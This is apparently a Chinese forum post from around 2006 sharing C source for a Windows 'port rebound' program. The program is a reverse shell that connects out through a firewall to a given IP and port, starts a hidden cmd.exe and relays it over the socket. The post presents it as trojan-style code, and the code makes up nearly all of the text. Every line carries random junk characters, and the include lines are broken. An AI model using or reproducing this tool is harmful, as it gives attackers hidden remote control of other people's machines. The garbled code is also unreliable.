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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <1* \ ~CX  
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/* ============================== 2@ZRz%(Oa&  
Rebound port in Windows NT !yq98I'  
By wind,2006/7 w2('75$J  
===============================*/ 4"!kCUB  
#include !V/7q'&t=  
#include Lg#(?tMp,'  
#&L7FBJ"*v  
#pragma comment(lib,"wsock32.lib") l2dj GZk  
cF9oo%3  
void OutputShell(); \M0's&1(  
SOCKET sClient; 7(^F@,,@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 15aPoxo>  
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void main(int argc,char **argv) #mK?:O\-1  
{ `GCK%evLG  
WSADATA stWsaData; ocUBSK|K)  
int nRet; D~M R)z_p~  
SOCKADDR_IN stSaiClient,stSaiServer; T:|p[Xbo  
M_r[wYt!  
if(argc != 3) V U5</si+  
{ eU e, P  
printf("Useage:\n\rRebound DestIP DestPort\n"); lq, ]E/<&  
return; %Lh+W<;  
} }?c%L8\  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^L7!lzyo  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A2A_F|f  
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stSaiClient.sin_family = AF_INET; HNj;_S  
stSaiClient.sin_port = htons(0); fZ;}_wR-H  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >dD$GD{  
#qD[dC$[t  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]\L+]+u~  
{ ^}wF^ _  
printf("Bind Socket Failed!\n"); NZ6:Zz M  
return; :h3n[%  
} dZb;`DjTH  
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stSaiServer.sin_family = AF_INET; u!F\`Gfm_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g)|vS>^~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k"/Rjd(;  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I Xm[c@5l  
{ $% gz, {  
printf("Connect Error!"); wrXn|aV  
return; } _^ vvu  
} 3#>%_@<  
OutputShell(); h.l.da1#  
} y c 8 h}`  
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void OutputShell() MEp{&#v|1  
{ KU+\fwYpnk  
char szBuff[1024]; 9$C?)XKXB  
SECURITY_ATTRIBUTES stSecurityAttributes; ~%f$}{  
OSVERSIONINFO stOsversionInfo; 9d(#/n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C+5X8  
STARTUPINFO stStartupInfo; Wv;,@xTZ  
char *szShell; ?.lo[X<,*  
PROCESS_INFORMATION stProcessInformation; KtH^k&z.f  
unsigned long lBytesRead; qK9A /Mc  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z5Tsu1 c  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8c_X`0jy  
stSecurityAttributes.lpSecurityDescriptor = 0; c14d0x{  
stSecurityAttributes.bInheritHandle = TRUE; u GqeT#dP  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t*A[v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tns8B  
V |}9bNF  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &1&OXm$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MV!d*\  
stStartupInfo.wShowWindow = SW_HIDE; g;nLR<]  
stStartupInfo.hStdInput = hReadPipe; -o{ x ;:4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p4UEhT  
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GetVersionEx(&stOsversionInfo); bqp^\yu-E  
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switch(stOsversionInfo.dwPlatformId) HIvSpO  
{ _<Ij)#Rq7  
case 1: >D}|'.&  
szShell = "command.com"; wAX;)PLg  
break; <p/2hHfiD  
default: Md~._@`|K  
szShell = "cmd.exe"; mU?~s7  
break; lz36;Fp  
} 8~s0%%{,M  
cL;%2TMk  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HX}B#T  
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send(sClient,szMsg,77,0); 0chpC)#Q3;  
while(1) )cZHBG.0H  
{ pL`Q+}c}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -;&I S  
if(lBytesRead) SE6( 3f$  
{ 1TR+p? "  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jWi~Q o+  
send(sClient,szBuff,lBytesRead,0); Z~8%bfpe  
} &NoA, `|7  
else vq+CW?*"  
{ o9]32l  
lBytesRead=recv(sClient,szBuff,1024,0); nLG)>L  
if(lBytesRead<=0) break; T6=|)UTe1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V+@}dJS  
} QJrXn6`  
} Q@>1z*'I  
C<I?4WM  
return; $;Iz7:#jN  
}
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